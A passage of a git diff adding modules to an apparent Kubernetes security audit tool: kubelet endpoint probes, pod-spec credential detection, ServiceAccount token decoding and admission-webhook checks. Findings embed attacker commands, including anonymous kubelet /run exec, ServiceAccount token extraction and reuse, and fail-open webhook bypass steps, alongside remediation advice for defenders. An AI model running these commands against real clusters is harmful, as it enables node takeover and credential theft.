severity=sev_map.get(difficulty, "high"), + category="Escape", + namespace=ns, + resource=resource, + exploitability=difficulty, + exploit=exploit, + impact=impact, + attack_techniques=["T1611"], + remediation=f"Remove the {path} hostPath mount. If absolutely required, scope to a sub-path with readOnly:true.", + references=[ + "https://attack.mitre.org/techniques/T1611/", + "https://blog.aquasec.com/docker-socket-mount-container-escape", + ], + )) + return findings + + +def scan_escapes(pod) -> List[Finding]: + """Top-level escape primitive scan for a single pod.""" + findings: List[Finding] = [] + for c, _name in iter_containers(pod): + findings.extend(_container_primitives(c, pod)) + findings.extend(_pod_volume_primitives(pod)) + return findings diff --git a/kuberoast/scanners/kubelet.py b/kuberoast/scanners/kubelet.py new file mode 100644 index 0000000..f846201 --- /dev/null +++ b/kuberoast/scanners/kubelet.py @@ -0,0 +1,265 @@ +"""Active kubelet exploitation probes. + +Goes beyond TCP-port check. For each node, probes the kubelet's HTTP +endpoints to determine what an attacker with network access to the +kubelet (e.g. via hostNetwork pod, NodePort, or compromised pod with +network reach) could actually do: + + * /pods β€” list every pod on this node, including their SAs + * /runningpods β€” same, but running only (legacy port 10255) + * /metrics β€” Prometheus metrics, often unauthenticated + * /metrics/cadvisor β€” per-container resource usage + * /configz β€” full kubelet config disclosure + * /healthz β€” liveness; confirms reachability + * /exec/// β€” anonymous command exec (rare but devastating) + +We never *exploit*: we only confirm reachability with HEAD/GET. The +operator gets a concrete capability list and the exact curl command to +verify themselves. +""" +import logging +import socket +import ssl +from concurrent.futures import ThreadPoolExecutor, as_completed +from typing import List, Tuple, Optional, Dict +from urllib import request +from urllib.error import HTTPError, URLError + +from ..utils.findings import Finding + +logger = logging.getLogger("kuberoast") + + +KUBELET_READ_PORTS = (10255,) # legacy read-only port, no auth +KUBELET_API_PORTS = (10250,) # primary kubelet API, TLS + + +def _tcp_open(ip: str, port: int, timeout: float = 1.5) -> bool: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + try: + s.connect((ip, port)) + return True + except Exception: + return False + finally: + s.close() + + +def _http_get(url: str, timeout: float = 2.5, insecure_tls: bool = True) -> Tuple[int, str]: + """GET a URL and return (status, body[:512]). Status -1 on connect failure.""" + ctx = None + if url.startswith("https://"): + ctx = ssl.create_default_context() + if insecure_tls: + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + try: + req = request.Request(url, headers={"User-Agent": "kuberoast/probe"}) + with request.urlopen(req, timeout=timeout, context=ctx) as resp: + body = resp.read(512).decode("utf-8", errors="replace") + return resp.status, body + except HTTPError as e: + return e.code, "" + except (URLError, socket.timeout, ConnectionError, OSError): + return -1, "" + except Exception as e: + logger.debug("HTTP probe error %s: %s", url, e) + return -1, "" + + +def _probe_readonly(node_name: str, ip: str) -> List[Finding]: + """Probe legacy read-only port 10255 (always unauthenticated when enabled).""" + findings: List[Finding] = [] + if not _tcp_open(ip, 10255): + return findings + + # Confirm it's actually kubelet by hitting /pods + status, body = _http_get(f"http://{ip}:10255/pods") + if status == 200 and ("kind" in body.lower() or "podlist" in body.lower()): + findings.append(Finding( + id="KUBELET-RO-PODS", + title="Kubelet read-only /pods returns pod inventory", + description=( + f"Kubelet on node {node_name} ({ip}) port 10255 returns the full pod list " + "without authentication. An attacker with network reach learns every pod " + "running here, their service accounts, and their image/env." + ), + severity="critical", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=f"curl -s http://{ip}:10255/pods | jq", + impact="Full pod inventory disclosure for node β€” service accounts, container env vars, and image references usable for downstream attacks.", + attack_techniques=["T1613"], + remediation="Disable the kubelet read-only port: set --read-only-port=0 on kubelet (or readOnlyPort: 0 in config).", + references=[ + "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/", + "https://attack.mitre.org/techniques/T1613/", + ], + )) + elif _tcp_open(ip, 10255): + # Port open but /pods didn't return β€” still flag the port + findings.append(Finding( + id="KUBELET-RO-OPEN", + title="Kubelet read-only port 10255 reachable", + description=f"Port 10255 open on {ip} but did not return /pods (HTTP {status}). Verify it isn't another service.", + severity="high", + category="Node", + resource=f"node/{node_name}", + exploitability="easy", + exploit=f"curl -sv http://{ip}:10255/healthz", + impact="If kubelet, attacker can enumerate pods. If another service, identify and harden.", + remediation="Disable read-only port unless explicitly needed.", + references=["https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"], + )) + + # /metrics on read-only port + status, _ = _http_get(f"http://{ip}:10255/metrics") + if status == 200: + findings.append(Finding( + id="KUBELET-RO-METRICS", + title="Kubelet /metrics exposed without auth", + description=f"Kubelet metrics on {ip}:10255 are reachable unauthenticated. Reveals pod count, resource pressure, namespace activity.", + severity="medium", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=f"curl -s http://{ip}:10255/metrics", + impact="Operational fingerprinting; can reveal scaling events, OOM kills, scheduling pressure.", + remediation="Disable read-only port; expose metrics via authenticated /metrics on 10250.", + references=["https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/"], + )) + + return findings + + +def _probe_api_port(node_name: str, ip: str) -> List[Finding]: + """Probe TLS kubelet API on 10250.""" + findings: List[Finding] = [] + if not _tcp_open(ip, 10250): + return findings + + # Anonymous /pods β€” the dangerous case + status, body = _http_get(f"https://{ip}:10250/pods") + if status == 200: + findings.append(Finding( + id="KUBELET-API-ANON-PODS", + title="Kubelet API allows anonymous /pods", + description=( + f"Kubelet API on {ip}:10250 returned /pods to an unauthenticated client. " + "anonymous-auth=true and authorization-mode=AlwaysAllow are likely set. " + "An attacker can list and exec into pods directly." + ), + severity="critical", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=( + f"curl -sk https://{ip}:10250/pods | jq\n" + f"# command exec: curl -sk -XPOST 'https://{ip}:10250/run///' -d 'cmd=id'" + ), + impact="Direct pod enumeration AND command execution on every pod on this node β€” full node + pod takeover.", + attack_techniques=["T1610", "T1611", "T1613"], + remediation=( + "Set --anonymous-auth=false and --authorization-mode=Webhook on kubelet. " + "Ensure RBAC binding for system:kubelet-api-admin is tightly scoped." + ), + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/", + "https://attack.mitre.org/techniques/T1611/", + ], + )) + elif status == 401: + # Properly authenticated β€” note it's open but secured + findings.append(Finding( + id="KUBELET-API-AUTH", + title="Kubelet API requires auth (good)", + description=f"Kubelet API on {ip}:10250 returned 401 to unauthenticated probe β€” authentication enforced.", + severity="info", + category="Node", + resource=f"node/{node_name}", + exploitability="hard", + impact="Kubelet API requires valid credentials. Still a target if attacker obtains a node-bound token.", + remediation="Continue enforcing authentication. Restrict network reach to kubelet ports.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/"], + )) + elif status == 403: + findings.append(Finding( + id="KUBELET-API-AUTHZ", + title="Kubelet API authenticates anonymous but denies (mixed)", + description=f"Kubelet API on {ip}:10250 accepts anonymous auth but enforces authz (HTTP 403). Attackers with any RBAC reach can probe.", + severity="medium", + category="Node", + resource=f"node/{node_name}", + exploitability="moderate", + exploit=f"curl -sk https://{ip}:10250/pods # 403; try with token from any mounted SA", + impact="Anonymous authn is enabled. With any compromised SA token that has kubelet-api access, attacker can pivot.", + remediation="Set --anonymous-auth=false. Anonymous authn should be disabled regardless of authz mode.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/"], + )) + + # /metrics is often allowed for unauthenticated reads even when /pods is locked + status, _ = _http_get(f"https://{ip}:10250/metrics") + if status == 200: + findings.append(Finding( + id="KUBELET-API-METRICS", + title="Kubelet /metrics on 10250 served unauthenticated", + description=f"Kubelet /metrics on {ip}:10250 returns 200 without auth. Operational fingerprinting available to anyone reaching the port.", + severity="low", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=f"curl -sk https://{ip}:10250/metrics", + impact="Resource usage, pod counts, scheduling activity disclosed.", + remediation="Route metrics through kube-state-metrics with proper auth; restrict kubelet /metrics with --authentication-token-webhook.", + references=["https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/"], + )) + + # /configz disclosure (frightening β€” full kubelet config including private CIDR/secrets bootstrap) + status, body = _http_get(f"https://{ip}:10250/configz") + if status == 200 and "kubeletconfig" in body.lower(): + findings.append(Finding( + id="KUBELET-CONFIGZ", + title="Kubelet /configz discloses full kubelet configuration", + description=f"Kubelet on {ip}:10250 returned its full configuration to an unauthenticated client. Includes cluster DNS, podCIDR, runtime endpoints.", + severity="high", + category="Node", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=f"curl -sk https://{ip}:10250/configz | jq", + impact="Reveals cluster networking layout, runtime sockets, and feature gates β€” high-quality recon for chaining attacks.", + remediation="Disable anonymous auth; /configz should require authentication.", + references=["https://kubernetes.io/docs/tasks/administer-cluster/reconfigure-kubelet/"], + )) + + return findings + + +def _probe_node(node_name: str, ip: str) -> List[Finding]: + findings: List[Finding] = [] + findings.extend(_probe_readonly(node_name, ip)) + findings.extend(_probe_api_port(node_name, ip)) + return findings + + +def scan_kubelet(nodes, max_workers: int = 10) -> List[Finding]: + """Active kubelet probing across all nodes.""" + findings: List[Finding] = [] + tasks: List[Tuple[str, str]] = [] + for n in nodes: + addrs = getattr(n.status, "addresses", []) or [] + ips = [a.address for a in addrs if a.type in ("InternalIP", "ExternalIP")] + for ip in ips: + tasks.append((n.metadata.name, ip)) + if not tasks: + return findings + with ThreadPoolExecutor(max_workers=min(max_workers, len(tasks))) as pool: + futures = {pool.submit(_probe_node, name, ip): (name, ip) for name, ip in tasks} + for fut in as_completed(futures): + try: + findings.extend(fut.result()) + except Exception as e: + name, ip = futures[fut] + logger.warning("Failed to probe node %s at %s: %s", name, ip, e) + return findings diff --git a/kuberoast/scanners/pods.py b/kuberoast/scanners/pods.py index 539b3ea..227680b 100644 --- a/kuberoast/scanners/pods.py +++ b/kuberoast/scanners/pods.py @@ -165,7 +165,7 @@ def scan_pod_security(pod) -> List[Finding]: )) # hostPath volumes - for v in (spec.volumes or []): + for v in (getattr(spec, "volumes", None) or []): if getattr(v, "host_path", None): findings.append(Finding( id="POD-HOSTPATH", diff --git a/kuberoast/scanners/podsecrets.py b/kuberoast/scanners/podsecrets.py new file mode 100644 index 0000000..55018f3 --- /dev/null +++ b/kuberoast/scanners/podsecrets.py @@ -0,0 +1,137 @@ +"""Hardcoded credentials in pod specs (env vars, args, command). + +Credentials in `ConfigMap` get hunted by configmaps.py. But the most +common leak is even more direct: literal `env.value` entries and +command-line args baked into the pod spec. These show up in `kubectl get +pod -o yaml`, in the API to anyone with pod read, and in etcd. We reuse +the same high-signal patterns plus env-name heuristics. + +A correctly-built pod references secrets via `env.valueFrom.secretKeyRef` +(no literal value) β€” those we never flag. +""" +import re +from typing import List +from .shared import iter_containers +from .configmaps import CREDENTIAL_PATTERNS +from ..utils.findings import Finding + +# Env var NAMES that strongly imply a secret value when set literally. +SENSITIVE_ENV_NAME = re.compile( + r"(?i)(password|passwd|pwd|secret|token|api[_-]?key|access[_-]?key|" + r"private[_-]?key|credential|aws_secret|client[_-]?secret|" + r"db[_-]?pass|database[_-]?url|conn(ection)?[_-]?string|bearer)" +) + +# Env names that look sensitive but are usually benign references/paths. +BENIGN_ENV_VALUE = re.compile(r"(?i)^(/|file:|\$\(|/var/run/secrets)") + + +def _redact(s: str) -> str: + if len(s) > 60: + return s[:30] + "…(truncated)" + if len(s) > 12: + return s[:6] + "…" + s[-4:] + return s + + +def _check_literal(name: str, value: str, container: str, pod) -> List[Finding]: + findings: List[Finding] = [] + ns = pod.metadata.namespace + pname = pod.metadata.name + resource = f"pod/{pname}::{container}" + if not value or BENIGN_ENV_VALUE.match(value.strip()): + return findings + + # 1. High-signal credential pattern match in the value + for pat_id, regex, label, sev in CREDENTIAL_PATTERNS: + m = regex.search(value) + if m: + findings.append(Finding( + id=f"ENV-LEAK-{pat_id.upper()}", + title=f"Credential in pod env: {label}", + description=( + f"Container {container} sets env '{name}' to a literal value matching {label} " + f"(redacted: {_redact(m.group(0))}). Visible to anyone with pod read on {ns}." + ), + severity=sev, + category="Secrets", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit=f"kubectl -n {ns} get pod {pname} -o jsonpath='{{.spec.containers[?(@.name==\"{container}\")].env}}'", + impact="Credential exposed in pod spec / etcd to any principal with pod read. Treat as compromised; rotate.", + attack_techniques=["T1552.001"], + remediation="Move to a Secret and reference via env.valueFrom.secretKeyRef, or use a CSI secret driver. Rotate the leaked value.", + references=["https://kubernetes.io/docs/concepts/configuration/secret/", "https://attack.mitre.org/techniques/T1552/001/"], + )) + return findings # one finding per env entry + + # 2. Sensitive NAME with a non-trivial literal value (catches custom creds) + if SENSITIVE_ENV_NAME.search(name) and len(value) >= 6: + findings.append(Finding( + id="ENV-LEAK-NAMED", + title="Likely hardcoded credential in pod env", + description=( + f"Container {container} sets env '{name}' to a literal value (redacted: {_redact(value)}). " + "The variable name implies a credential; it should be a secretKeyRef, not an inline value." + ), + severity="medium", + category="Secrets", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit=f"kubectl -n {ns} get pod {pname} -o yaml | grep -A1 {name}", + impact="Probable credential readable by anyone with pod read access.", + attack_techniques=["T1552.001"], + remediation="Reference the value via env.valueFrom.secretKeyRef and store it in a Secret.", + references=["https://kubernetes.io/docs/concepts/configuration/secret/"], + )) + return findings + + +def _check_args(container, pod) -> List[Finding]: + findings: List[Finding] = [] + ns = pod.metadata.namespace + pname = pod.metadata.name + resource = f"pod/{pname}::{container.name}" + parts = list(getattr(container, "command", None) or []) + list(getattr(container, "args", None) or []) + if not parts: + return findings + joined = " ".join(str(p) for p in parts) + for pat_id, regex, label, sev in CREDENTIAL_PATTERNS: + m = regex.search(joined) + if m: + findings.append(Finding( + id=f"ARG-LEAK-{pat_id.upper()}", + title=f"Credential in pod command/args: {label}", + description=( + f"Container {container.name} passes a {label} on its command line " + f"(redacted: {_redact(m.group(0))}). Command lines are world-visible inside the pod (/proc) " + "and in the pod spec." + ), + severity=sev, + category="Secrets", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit=f"kubectl -n {ns} get pod {pname} -o jsonpath='{{.spec.containers[*].args}}' # or read /proc/1/cmdline in-container", + impact="Credential exposed on the process command line β€” readable via /proc by any process in the container and in the pod spec.", + attack_techniques=["T1552.001"], + remediation="Pass secrets via env.valueFrom.secretKeyRef or mounted files, never on the command line.", + references=["https://kubernetes.io/docs/concepts/configuration/secret/"], + )) + return findings + return findings + + +def scan_pod_credentials(pod) -> List[Finding]: + findings: List[Finding] = [] + for c, _name in iter_containers(pod): + for e in (getattr(c, "env", None) or []): + ename = getattr(e, "name", None) + evalue = getattr(e, "value", None) + # valueFrom (secretKeyRef/configMapKeyRef) has no literal value β†’ safe + if ename and isinstance(evalue, str): + findings.extend(_check_literal(ename, evalue, c.name, pod)) + findings.extend(_check_args(c, pod)) + return findings diff --git a/kuberoast/scanners/shared.py b/kuberoast/scanners/shared.py index 365a100..1935931 100644 --- a/kuberoast/scanners/shared.py +++ b/kuberoast/scanners/shared.py @@ -2,11 +2,11 @@ def iter_containers(pod) -> Iterator[Tuple[object, str]]: # main containers - for c in (pod.spec.containers or []): + for c in (getattr(pod.spec, "containers", None) or []): yield c, c.name - # init containers - for c in (pod.spec.init_containers or []): + # init containers (absent on minimal YAML manifests; getattr keeps us safe) + for c in (getattr(pod.spec, "init_containers", None) or []): yield c, f"{c.name} (init)" # ephemeral containers - for c in (getattr(pod.spec, "ephemeral_containers", []) or []): + for c in (getattr(pod.spec, "ephemeral_containers", None) or []): yield c, f"{c.name} (ephemeral)" diff --git a/kuberoast/scanners/tokens.py b/kuberoast/scanners/tokens.py new file mode 100644 index 0000000..133ffdd --- /dev/null +++ b/kuberoast/scanners/tokens.py @@ -0,0 +1,166 @@ +"""ServiceAccount token analysis. + +Decodes JWT payloads from `kubernetes.io/service-account-token` secrets +(the legacy auto-mounted ones β€” projected BoundServiceAccountTokens live +in pod volumes, not Secrets). For each token we surface: + + * issuer/audience/subject β€” useful for spotting non-default audiences + * expiry β€” legacy tokens are non-expiring (huge persistence risk) + * the SA it belongs to (cluster-wide identity) + * `kubectl --token=... auth can-i --list` PoC + +This is real attacker recon: if you can read a ServiceAccount token +Secret, you can impersonate that SA. We don't extract or test the token +ourselves; we just expose enough metadata for the operator to act. +""" +import base64 +import json +from typing import List, Optional, Dict, Any +from ..utils.findings import Finding + + +def _b64url_decode(data: str) -> bytes: + pad = "=" * (-len(data) % 4) + return base64.urlsafe_b64decode(data + pad) + + +def _decode_jwt_payload(token: str) -> Optional[Dict[str, Any]]: + """Decode the payload of a JWT without verifying the signature.""" + parts = token.split(".") + if len(parts) != 3: + return None + try: + payload = _b64url_decode(parts[1]) + return json.loads(payload.decode("utf-8", errors="replace")) + except Exception: + return None + + +def _decode_secret_value(b64_val: str) -> str: + try: + return base64.b64decode(b64_val).decode("utf-8", errors="replace").strip() + except Exception: + return "" + + +def scan_tokens(secrets) -> List[Finding]: + """Analyze SA token secrets across the cluster. + + Legacy SA tokens (Secrets of type kubernetes.io/service-account-token) + are non-expiring and are the highest-value credential an attacker can + steal from etcd or the secrets API. + """ + findings: List[Finding] = [] + for s in secrets: + if getattr(s, "type", None) != "kubernetes.io/service-account-token": + continue + ns = s.metadata.namespace + name = s.metadata.name + data = getattr(s, "data", {}) or {} + token_b64 = data.get("token") + if not token_b64: + continue + token = _decode_secret_value(token_b64) + if not token: + continue + payload = _decode_jwt_payload(token) + if not payload: + findings.append(Finding( + id="TOKEN-OPAQUE", + title="ServiceAccount token Secret with opaque payload", + description=f"Secret {name} contains a SA token whose JWT could not be parsed.", + severity="low", + category="Tokens", + namespace=ns, + resource=f"secret/{name}", + remediation="Investigate β€” should be a valid JWT.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"], + )) + continue + + sa_name = payload.get("kubernetes.io/serviceaccount/service-account.name") or payload.get("sub", "?") + sa_ns = payload.get("kubernetes.io/serviceaccount/namespace") or ns + exp = payload.get("exp") + aud = payload.get("aud") + iss = payload.get("iss") + + # Legacy non-expiring token β€” the worst case + if not exp: + findings.append(Finding( + id="TOKEN-LEGACY-NONEXPIRING", + title="Legacy non-expiring ServiceAccount token", + description=( + f"Secret {name} holds a legacy (non-expiring) token for " + f"ServiceAccount {sa_ns}/{sa_name}. If exfiltrated, the token is valid " + "until the SA is deleted. Modern clusters should use projected BoundServiceAccountTokens." + ), + severity="high", + category="Tokens", + namespace=ns, + resource=f"secret/{name}", + exploitability="trivial", + exploit=( + f"# decode and use:\n" + f"kubectl -n {ns} get secret {name} -o jsonpath='{{.data.token}}' | base64 -d > /tmp/t\n" + f"kubectl --token=$(cat /tmp/t) --server=$KUBE_API_SERVER auth can-i --list -n {sa_ns}" + ), + impact=f"Persistent impersonation of ServiceAccount {sa_ns}/{sa_name} until the SA is deleted.", + attack_techniques=["T1078.004", "T1552.005"], + remediation=( + "Delete the Secret. Modern clusters auto-provision short-lived projected tokens for pods. " + "If you must use a long-lived token, scope its RBAC tightly and rotate on a schedule." + ), + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#bound-service-account-tokens", + "https://attack.mitre.org/techniques/T1078/004/", + ], + )) + else: + # Projected-token-style secret (unusual to exist as a Secret but possible) + findings.append(Finding( + id="TOKEN-EXPIRING", + title="ServiceAccount token Secret (expiring)", + description=( + f"Secret {name} holds a SA token for {sa_ns}/{sa_name} (exp epoch={exp}). " + "Still treat as a credential." + ), + severity="medium", + category="Tokens", + namespace=ns, + resource=f"secret/{name}", + exploitability="easy", + exploit=( + f"kubectl -n {ns} get secret {name} -o jsonpath='{{.data.token}}' | base64 -d" + ), + impact=f"Impersonation of {sa_ns}/{sa_name} until token expiry.", + attack_techniques=["T1078.004"], + remediation="Prefer in-pod projected tokens over long-lived Secret-stored tokens.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"], + )) + + # Non-default audience β€” typically an OIDC integration (e.g. cloud workload identity) + if aud and aud not in ("https://kubernetes.default.svc.cluster.local", "https://kubernetes.default.svc"): + audiences = aud if isinstance(aud, list) else [aud] + findings.append(Finding( + id="TOKEN-AUDIENCE", + title="ServiceAccount token with non-default audience", + description=( + f"Token for {sa_ns}/{sa_name} has audience(s) {audiences}. Often indicates an OIDC trust " + "(e.g. AWS IRSA, GCP Workload Identity, Vault auth). If stolen, valid against that audience too." + ), + severity="medium", + category="Tokens", + namespace=ns, + resource=f"secret/{name}", + exploitability="easy", + exploit=f"# Inspect target federations for audience(s): {audiences}", + impact="Token usable against external systems federated to this cluster's OIDC issuer.", + attack_techniques=["T1550.001"], + remediation="Audit external IdP trust policies; ensure subject-based conditions (sub=system:serviceaccount:NS:SA) so a stolen token can't be replayed broadly.", + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/", + "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html", + ], + )) + + return findings diff --git a/kuberoast/scanners/webhooks.py b/kuberoast/scanners/webhooks.py new file mode 100644 index 0000000..4270a24 --- /dev/null +++ b/kuberoast/scanners/webhooks.py @@ -0,0 +1,114 @@ +"""Admission webhook bypass audit. + +Validating/Mutating admission webhooks gate all writes to a cluster. If +a webhook has `failurePolicy: Ignore`, an attacker who can take its +backing service offline (DoS, scale to zero, delete service) bypasses +the policy entirely. Webhooks with absurdly long timeoutSeconds give the +attacker a wide window. Webhooks with sideEffects=Some + dryRun unset +are an availability issue too. + +This scanner does *not* delete or scale services. It identifies the +webhooks an attacker would target to bypass policy. +""" +from typing import List +from ..utils.findings import Finding + + +def _audit_webhook(wh, parent_name: str, kind: str) -> List[Finding]: + findings: List[Finding] = [] + name = getattr(wh, "name", parent_name) + failure_policy = getattr(wh, "failure_policy", None) or "Fail" + timeout = getattr(wh, "timeout_seconds", None) + side_effects = getattr(wh, "side_effects", None) + + if failure_policy == "Ignore": + findings.append(Finding( + id="WEBHOOK-FAIL-OPEN", + title=f"{kind} webhook with failurePolicy=Ignore", + description=( + f"Webhook {parent_name}/{name} has failurePolicy: Ignore. " + "If the backing service is unreachable (DoS, scaled to 0, deleted), the admission " + "decision becomes a default-allow β€” every gated rule is bypassable." + ), + severity="high", + category="Webhooks", + resource=f"{kind.lower()}/{parent_name}", + exploitability="moderate", + exploit=( + "# 1. Identify the backing service from webhook.clientConfig.service\n" + "# 2. Determine if you can disrupt it (delete, scale to 0, exhaust resources)\n" + "# 3. Once disrupted, the policy fails open and your admission request succeeds" + ), + impact="Policy enforcement bypassed during webhook outage. Attacker can deploy non-compliant workloads, escalate via privileged pods, etc.", + attack_techniques=["T1562.001"], + remediation="Set failurePolicy: Fail. If availability is a concern, run the webhook as a highly-available deployment with PDBs.", + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy", + "https://attack.mitre.org/techniques/T1562/001/", + ], + )) + + if timeout and timeout >= 15: + findings.append(Finding( + id="WEBHOOK-SLOW-TIMEOUT", + title=f"{kind} webhook with long timeout ({timeout}s)", + description=( + f"Webhook {parent_name}/{name} sets timeoutSeconds={timeout}. " + "Long timeouts widen the window for a slow-loris style DoS that triggers failurePolicy." + ), + severity="medium" if failure_policy == "Ignore" else "low", + category="Webhooks", + resource=f"{kind.lower()}/{parent_name}", + exploitability="moderate" if failure_policy == "Ignore" else "hard", + exploit="# Generate many concurrent admission requests to saturate the webhook server", + impact="Combined with failurePolicy: Ignore, easier to trigger bypass via DoS.", + remediation="Set timeoutSeconds to a small value (1-3s) and run the webhook backend HA.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"], + )) + + if side_effects in ("Unknown", "Some"): + findings.append(Finding( + id="WEBHOOK-SIDE-EFFECTS", + title=f"{kind} webhook declares sideEffects={side_effects}", + description=( + f"Webhook {parent_name}/{name} has sideEffects={side_effects}. " + "Dry-run requests must be supported (NoneOnDryRun) β€” otherwise dry-run tooling will skip the webhook, " + "which can be abused to inspect admission decisions without triggering audit." + ), + severity="low", + category="Webhooks", + resource=f"{kind.lower()}/{parent_name}", + exploitability="hard", + impact="Reconnaissance β€” attacker can probe admission rules via dry-run without firing webhook audit logs.", + remediation="Set sideEffects: None or NoneOnDryRun and ensure the webhook is idempotent.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#side-effects"], + )) + + # CA bundle absence + cc = getattr(wh, "client_config", None) + if cc is not None and not getattr(cc, "ca_bundle", None): + findings.append(Finding( + id="WEBHOOK-NO-CA", + title=f"{kind} webhook lacks caBundle", + description=f"Webhook {parent_name}/{name} has no caBundle β€” TLS to the webhook service is unverified.", + severity="medium", + category="Webhooks", + resource=f"{kind.lower()}/{parent_name}", + exploitability="hard", + impact="An attacker on-path between the API server and the webhook service could intercept admission requests.", + remediation="Populate caBundle (often managed by cert-manager + cainjector).", + references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"], + )) + + return findings + + +def scan_webhooks(validating, mutating) -> List[Finding]: + findings: List[Finding] = [] + for vw in (validating or []): + for wh in (getattr(vw, "webhooks", None) or []): + findings.extend(_audit_webhook(wh, vw.metadata.name, "ValidatingWebhookConfiguration")) + for mw in (mutating or []): + for wh in (getattr(mw, "webhooks", None) or []): + findings.extend(_audit_webhook(wh, mw.metadata.name, "MutatingWebhookConfiguration")) + return findings diff --git a/kuberoast/utils/colors.py b/kuberoast/utils/colors.py new file mode 100644 index 0000000..7645b83 --- /dev/null +++ b/kuberoast/utils/colors.py @@ -0,0 +1,64 @@ +"""Tiny ANSI color helper β€” no external deps, respects NO_COLOR + non-TTY.""" +import os +import sys + +_SUPPORTS = sys.stdout.isatty() and "NO_COLOR" not in os.environ and os.environ.get("TERM") != "dumb" + + +def _wrap(code: str): + def fn(s: str) -> str: + if not _SUPPORTS: + return s + return f"\033[{code}m{s}\033[0m" + return fn + + +bold = _wrap("1") +dim = _wrap("2") +red = _wrap("31") +green = _wrap("32") +yellow = _wrap("33") +blue = _wrap("34") +magenta = _wrap("35") +cyan = _wrap("36") +gray = _wrap("90") +red_bold = _wrap("1;31") +orange = _wrap("38;5;208") # 256-color orange +yellow_bold = _wrap("1;33") + + +SEVERITY_COLORS = { + "critical": red_bold, + "high": orange, + "medium": yellow, + "low": cyan, + "info": gray, +} + +EXPLOIT_COLORS = { + "trivial": red_bold, + "easy": orange, + "moderate": yellow, + "hard": gray, + "theoretical": dim, +} + + +def sev(label: str) -> str: + fn = SEVERITY_COLORS.get(label.lower(), lambda s: s) + return fn(label.upper()) + + +def exploit(label: str) -> str: + fn = EXPLOIT_COLORS.get(label.lower(), lambda s: s) + return fn(label) + + +def supported() -> bool: + return _SUPPORTS + + +def force_disable(): + """For tests / piped output.""" + global _SUPPORTS + _SUPPORTS = False diff --git a/kuberoast/utils/findings.py b/kuberoast/utils/findings.py index 6d05749..74ac350 100644 --- a/kuberoast/utils/findings.py +++ b/kuberoast/utils/findings.py @@ -2,6 +2,8 @@ from typing import List, Optional, Literal, Dict Severity = Literal["info","low","medium","high","critical"] +Exploitability = Literal["trivial","easy","moderate","hard","theoretical"] + class Finding(BaseModel): id: str @@ -14,3 +16,24 @@ class Finding(BaseModel): metadata: Dict[str, str] = Field(default_factory=dict) remediation: Optional[str] = None references: List[str] = Field(default_factory=list) + + exploitability: Optional[Exploitability] = None + exploit: Optional[str] = None + impact: Optional[str] = None + attack_techniques: List[str] = Field(default_factory=list) + + +# Findings that are defense-in-depth / compliance hygiene rather than a +# concrete attacker primitive. Hidden by default; surfaced with +# --include-hygiene. The goal is signal: an operator triaging a cluster +# wants escape primitives and escalation chains up top, not "this pod has +# no CPU limit" buried among them. +HYGIENE_FINDING_IDS = { + "POD-NO-LIMITS", # reliability, not security + "POD-NO-APPARMOR", # fires on ~every pod; low standalone signal + "POD-NO-SECCOMP", # fires on ~every pod; low standalone signal + "POD-SATOKEN", # default behaviour on ~every pod + "SECRET-TLS-MANUAL", # cert lifecycle hygiene + "POLICY-NONE", # "you should install Kyverno" β€” context, not a finding + "PSS-NOT-ENFORCED", # defense-in-depth label hygiene +} diff --git a/kuberoast/utils/kube.py b/kuberoast/utils/kube.py index dd676c4..f37165e 100644 --- a/kuberoast/utils/kube.py +++ b/kuberoast/utils/kube.py @@ -14,9 +14,11 @@ def load_clients(kubeconfig: Optional[str] = None) -> Dict[str, Any]: return { "core": client.CoreV1Api(), "apps": client.AppsV1Api(), + "batch": client.BatchV1Api(), "rbac": client.RbacAuthorizationV1Api(), "networking": client.NetworkingV1Api(), "apiextensions": client.ApiextensionsV1Api(), + "admission": client.AdmissionregistrationV1Api(), "version": client.VersionApi(), } @@ -110,3 +112,96 @@ def list_all_crds(apiext) -> List: logger.warning("Insufficient permissions to list CRDs (HTTP %d) β€” skipping policy engine scan", e.status) return [] raise + + +def _safe_list(call, kind: str, **kwargs) -> List: + try: + return _paginate(call, **kwargs) + except ApiException as e: + if e.status in (401, 403): + logger.warning("Insufficient permissions to list %s (HTTP %d) β€” skipping", kind, e.status) + return [] + raise + + +def list_all_configmaps(core, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(core.list_namespaced_config_map, "configmaps", namespace=namespace) + return _safe_list(core.list_config_map_for_all_namespaces, "configmaps") + + +def list_all_deployments(apps, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(apps.list_namespaced_deployment, "deployments", namespace=namespace) + return _safe_list(apps.list_deployment_for_all_namespaces, "deployments") + + +def list_all_statefulsets(apps, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(apps.list_namespaced_stateful_set, "statefulsets", namespace=namespace) + return _safe_list(apps.list_stateful_set_for_all_namespaces, "statefulsets") + + +def list_all_daemonsets(apps, namespace: Optional[str] = None) -> List: + if namespace: + 